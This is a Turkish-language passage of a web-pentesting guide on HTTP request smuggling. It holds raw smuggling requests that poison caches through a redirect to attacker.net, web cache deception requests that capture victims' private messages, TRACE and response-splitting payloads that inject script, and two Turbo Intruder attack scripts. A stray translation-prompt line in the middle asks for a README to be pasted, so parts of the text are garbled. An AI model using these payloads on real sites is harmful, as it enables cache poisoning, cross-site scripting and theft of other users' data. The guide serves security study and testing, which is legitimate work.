Bu teknik, bir Open Redirect vulnerability keşfedildiğinde veya on-site redirect to an open redirect söz konusu olduğunda özellikle etkili hale gelir. Bu tür açıklıklar, önbellekteki /static/include.js içeriğini saldırganın kontrolündeki bir betik ile değiştirmek için suistimal edilebilir ve böylece güncellenmiş /static/include.js'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak sağlar.

Aşağıda, cache poisoning combined with an on-site redirect to open redirect'ın suistimal edilmesine dair bir örnek verilmiştir. Amaç, önbellekteki /static/include.js içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

/post/next?postId=3 hedefleyen gömülü isteğe dikkat edin. Bu istek, domaini belirlemek için Host header value kullanılarak /post?postId=4'e yönlendirilecek. Host header'ı değiştirerek saldırgan isteği kendi domainine (on-site redirect to open redirect) yönlendirebilir.

Başarılı bir socket poisoning'den sonra, /static/include.js için bir GET request başlatılmalıdır. Bu istek, önceki on-site redirect to open redirect isteği tarafından kirletilecek ve saldırganın kontrol ettiği script'in içeriğini getirecektir.

Bundan sonra, /static/include.js için yapılacak herhangi bir istek, saldırganın script'inin önbelleğe alınmış içeriğini sunacak ve böylece geniş kapsamlı bir XSS saldırısı başlatılacaktır.

Using HTTP request smuggling to perform web cache deception

web cache poisoning ile web cache deception arasındaki fark nedir?

• web cache poisoning durumunda, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesini sağlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
• web cache deception durumunda, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği önbelleğe kaydetmesini sağlar ve ardından bu içeriği önbellekten geri alır.

Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu smuggled request, static content için ayrılmış bir cache entry'yi zehirlerse (ör. /someimage.png), kurbanın /private/messages içindeki hassas verileri statik içeriğin cache entry'si altında cached olabilir. Sonuç olarak, attacker potansiyel olarak bu cached hassas verileri elde edebilir.

Abusing TRACE via HTTP Request Smuggling

In this post öneriyor ki eğer sunucuda TRACE metodu etkinse, bunu HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı response body'sinin bir parçası olarak yansıtmasıdır. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Lütfen src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın. İçeriği istenen kurallara (kod, tag, link, path ve belirttiğiniz kelimeleri çevirmeme gibi) uyarak Türkçeye çevireceğim.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bir örnek olarak bu davranışın kötüye kullanılması, önce bir HEAD isteğini smuggle etmek olurdu. Bu isteğe yalnızca bir GET isteğinin headers'ı ile yanıt verilecek (Content-Type bunların arasında). Ve HEAD'in hemen ardından bir TRACE isteğini smuggle etmek, gönderilen veriyi yansıtacaktır.
HEAD yanıtı bir Content-Length header'ı içereceği için, TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek; dolayısıyla yanıtta keyfi veri yansıtılacaktır.
Bu yanıt bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu yüzden örneğin önbelleğe alınmış bir JS dosyasında keyfi JS kodu enjeksiyonu için kullanılabilir.

TRACE'i HTTP Response Splitting ile kötüye kullanma

Bu this post'u takip etmeye devam etmek, TRACE methodunu kötüye kullanmanın başka bir yolunu önerir. Bahsedildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edildiğinde, HEAD yanıtındaki bazı yansıtılan verileri kontrol etmek mümkün olur. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length header'ı ile belirtilir ve bu gövde TRACE isteğinin yanıtı tarafından oluşur.

Buna göre yeni fikir şudur: bu Content-Length'ı ve TRACE yanıtında verilen veriyi bilerek, TRACE yanıtının Content-Length'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak — bu, bir saldırganın bir sonraki yanıt için yapılan isteği tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Bu yanıtları oluşturacak (HEAD yanıtının bir Content-Length başlığı içerdiğine dikkat edin; bu, TRACE yanıtını HEAD gövdesinin bir parçası yapar ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtı kaçak olarak iletilir):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Request Smuggling'ı HTTP Response Desynchronisation ile Silahlandırma

HTTP Request Smuggling vulnerability mi buldunuz ve nasıl exploit edeceğinizi bilmiyor musunuz? Bu diğer exploitation yöntemlerini deneyin:

HTTP Response Smuggling / Desync

Diğer HTTP Request Smuggling Teknikleri

• Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

• Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Kaynak: https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Araçlar

• HTTP Hacker (Burp BApp Store) – konkatenasyon/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirmek için
• https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Bu araç, garip request smuggling uyumsuzluklarını bulmak için yararlı olan gramer tabanlı bir HTTP Fuzzer'dır.

Referanslar

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
• Sahte yanlış pozitiflere dikkat: HTTP pipelining ile request smuggling'i nasıl ayırt edersiniz – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
• https://http1mustdie.com/
• Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
• PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
• https://portswigger.net/research/http1-must-die